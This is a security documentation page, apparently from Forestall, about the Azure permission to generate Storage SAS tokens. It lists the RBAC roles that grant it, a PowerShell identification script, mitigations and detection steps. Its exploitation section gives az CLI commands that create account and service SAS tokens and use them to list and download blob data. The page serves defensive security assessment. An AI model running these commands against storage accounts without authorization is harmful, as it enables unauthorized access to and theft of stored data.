> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/azure/az_storage_sas_generate.md).

# AZ\_STORAGE\_SAS\_GENERATE

## Summary

|                            |                                      |
| -------------------------- | ------------------------------------ |
| **Forestall ACL Alias**    | AZ\_STORAGE\_SAS\_GENERATE           |
| **Azure Alias**            | Storage SAS Generation               |
| **Affected Object Types**  | Storage Accounts                     |
| **Exploitation Certainty** | Certain                              |
| **Severity**               | High                                 |
| **Azure RBAC Roles**       | See **Built-In Role Coverage** below |

**Custom Role Actions:**

* `Microsoft.Storage/storageAccounts/listServiceSas/action`
* `Microsoft.Storage/storageAccounts/listAccountSas/action`

## Built-In Role Coverage

The edge implementation maps Azure RBAC roles that can generate account SAS or service SAS tokens through either direct SAS actions or broad wildcard management actions.

Roles with direct account or service SAS actions:

* Reader and Data Access (`c12c1c16-33a1-487b-954d-41c89c60f349`) - includes `Microsoft.Storage/storageAccounts/listAccountSas/action`.
* Storage DataShare Contributor (`35c49d44-ccc1-4b18-8267-cfb3bacdd396`) - includes `Microsoft.Storage/storageAccounts/listServiceSas/action`.
* Storage Connector Contributor (`9d819e60-1b9f-4871-b492-4e6cdee0b50a`) - includes `Microsoft.Storage/storageAccounts/listServiceSas/action`.

Roles with broad wildcard actions that also cover account and service SAS generation:

* Owner (`8e3af657-a8ff-443c-a75c-2fe8c4bcb635`)
* Contributor (`b24988ac-6180-42a0-ab88-20f7382dd24c`)
* Avere Contributor (`4f8fab4f-1852-4a58-a46a-8eaf358af14a`)
* Azure AI Administrator (`b78c5d69-af96-48a3-bf8d-a8b4d589de94`)
* Azure Migrate Owner (`fd8ea4d5-6509-4db0-bada-356ab233b4fa`)
* Storage Account Contributor (`17d1049b-9a84-46fb-8f53-869881c3d3ab`)

Related user delegation SAS coverage:

* Storage Blob Delegator (`db58b8e5-c6ad-4a2a-8342-4190687cbf4a`) grants `Microsoft.Storage/storageAccounts/blobServices/generateUserDelegationKey/action`, which is used to create user delegation SAS tokens but does not grant `listAccountSas` or `listServiceSas`.

## Description

`AZ_STORAGE_SAS_GENERATE` represents the ability to create Shared Access Signature (SAS) tokens for Azure Storage. A SAS token delegates access to storage resources for a chosen time window and permission set. Depending on the action and token type, the generated SAS can grant read, write, delete, list, create, add, process, or update access across blobs, queues, tables, and files.

This edge is high impact because a SAS token is a bearer secret. Anyone holding it can use the delegated permissions until the token expires or the signing key/delegation is invalidated. Long-lived SAS tokens can become durable access paths that are hard to inventory if they are copied outside Azure.

Related edges: [AZ\_STORAGE\_LIST\_KEYS](https://docs.forestall.io/fsprotect/edges/azure/az_storage_list_keys), [AZ\_STORAGE\_BLOB\_DATA\_READER](https://docs.forestall.io/fsprotect/edges/azure/az_storage_blob_data_reader), [AZ\_STORAGE\_BLOB\_DATA\_WRITER](https://docs.forestall.io/fsprotect/edges/azure/az_storage_blob_data_writer).

## Identification

### PowerShell (Az Module)

```powershell
Connect-AzAccount

$sasActions = @(
    "Microsoft.Storage/storageAccounts/listServiceSas/action",
    "Microsoft.Storage/storageAccounts/listAccountSas/action"
)

$sasRoleIds = Get-AzRoleDefinition | Where-Object {
    $grantedActions = $_.Permissions | ForEach-Object { $_.Actions } | Where-Object { $_ }
    $blockedActions = $_.Permissions | ForEach-Object { $_.NotActions } | Where-Object { $_ }

    foreach ($sasAction in $sasActions) {
        $isGranted = $false
        $isBlocked = $false

        foreach ($grantedAction in $grantedActions) {
            # Handle wildcards: *, Microsoft.Storage/*, Microsoft.Storage/storageAccounts/*
            $pattern = "^" + [regex]::Escape($grantedAction).Replace("\*", ".*") + "$"
            if ($sasAction -match $pattern) { $isGranted = $true }
        }

        foreach ($blockedAction in $blockedActions) {
            $pattern = "^" + [regex]::Escape($blockedAction).Replace("\*", ".*") + "$"
            if ($sasAction -match $pattern) { $isBlocked = $true }
        }

        if ($isGranted -and -not $isBlocked) { return $true }
    }

    return $false
} | Select-Object -ExpandProperty Id -Unique

Get-AzRoleAssignment |
    Where-Object { $sasRoleIds -contains $_.RoleDefinitionId } |
    Select-Object RoleDefinitionName, DisplayName, SignInName, ObjectType, Scope |
    Sort-Object Scope, RoleDefinitionName |
    Format-Table -AutoSize
```

### Azure Portal

1. Open **Azure Portal** -> target **Storage account**.
2. Go to **Access control (IAM)** -> **Role assignments**.
3. Review the roles in **Built-In Role Coverage** and custom roles with SAS generation actions.
4. Review **Activity log** for SAS generation operations.

## Exploitation

These examples are for authorized testing only.

### Generate an Account SAS

```bash
az login

account_sas_token=$(az rest \
    --method post \
    --url "https://management.azure.com/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.Storage/storageAccounts/<AccountName>/ListAccountSas?api-version=2023-01-01" \
    --body '{
      "signedServices": "b",
      "signedResourceTypes": "sco",
      "signedPermission": "rl",
      "signedProtocol": "https",
      "signedExpiry": "2026-06-28T09:30:00Z"
    }' \
    --query accountSasToken \
    -o tsv
)
```

![Generate an Account SAS](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-26b1d95644af3fc4a8e077f16341895dbe0fcf03%2Fazure-az_storage_sas_generate-generate-sasToken.PNG?alt=media)

### Generate a Service SAS for a Container

```bash
service_sas_token=$(az rest \
    --method post \
    --url "https://management.azure.com/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.Storage/storageAccounts/<AccountName>/ListServiceSas?api-version=2023-01-01" \
    --body '{
      "canonicalizedResource": "/blob/<AccountName>/<ContainerName>",
      "signedResource": "c",
      "signedPermission": "rl",
      "signedProtocol": "https",
      "signedExpiry": "2026-06-28T09:30:00Z"
    }' \
    --query serviceSasToken \
    -o tsv
)
```

![Generate a Service SAS for a Container](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-cbacd8c1d61c4f3ea1e5f0932ded9cd6af4acd38%2Fazure-az_storage_sas_generate-generate-sas-token-service.png?alt=media)

### Generate a Service SAS for a Single Blob

```bash
blob_sas_token=$(az rest \
    --method post \
    --url "https://management.azure.com/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.Storage/storageAccounts/<AccountName>/ListServiceSas?api-version=2023-01-01" \
    --body '{
      "canonicalizedResource": "/blob/<AccountName>/<ContainerName>/<BlobName>",
      "signedResource": "b",
      "signedPermission": "r",
      "signedProtocol": "https",
      "signedExpiry": "2026-06-28T09:30:00Z"
    }' \
    --query serviceSasToken \
    -o tsv
)
```

### Use a SAS Token to Access Blob Data

```bash
# Use the account SAS or container service SAS to list blobs.
az storage blob list \
    --account-name "<AccountName>" \
    --container-name "<ContainerName>" \
    --sas-token "$account_sas_token" \
    -o table

# Use the account SAS, container service SAS, or matching blob service SAS to download a blob.
az storage blob download \
    --account-name "<AccountName>" \
    --container-name "<ContainerName>" \
    --name "<BlobName>" \
    --file ".\\downloaded-blob" \
    --sas-token "$blob_sas_token"
```

![using SAS token](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-ca896ee5302ae80b8b5fbf05b6f3b569b03781a6%2Fazure-az_storage_sas_generate-list-files-in-blob.PNG?alt=media)

## Mitigation

1. **Prefer user delegation SAS** over account SAS for Blob Storage when SAS is required.
2. **Use short expirations** and avoid broad permissions such as full account, all services, or all resource types.
3. **Disable shared key authorization where possible** to block account SAS signed with account keys.
4. **Restrict SAS-generating roles** and remove broad storage management roles from non-administrative identities.
5. **Use stored access policies** for service SAS where supported so access can be revoked centrally.

## Detection

Use the Azure Portal:

1. Open **Azure Portal** -> target **Storage account** -> **Activity log**.
2. Filter **Operation** for account SAS, service SAS, user delegation key, or `listAccountSas` / `listServiceSas` activity.
3. Review **Event initiated by**, **Timestamp**, **Resource**, and **Caller IP address**.
4. In Storage logs, investigate access patterns that authenticate via SAS from unusual networks or user agents.
5. Alert on long-lived SAS generation and on SAS creation followed by bulk reads, writes, or deletes.

## References

* [Grant limited access to Azure Storage resources using SAS](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview)
* [Create a user delegation SAS](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blob-user-delegation-sas-create-cli)
* [Prevent Shared Key authorization for an Azure Storage account](https://learn.microsoft.com/en-us/azure/storage/common/shared-key-authorization-prevent)
* [`az storage account generate-sas`](https://learn.microsoft.com/en-us/cli/azure/storage/account#az-storage-account-generate-sas)
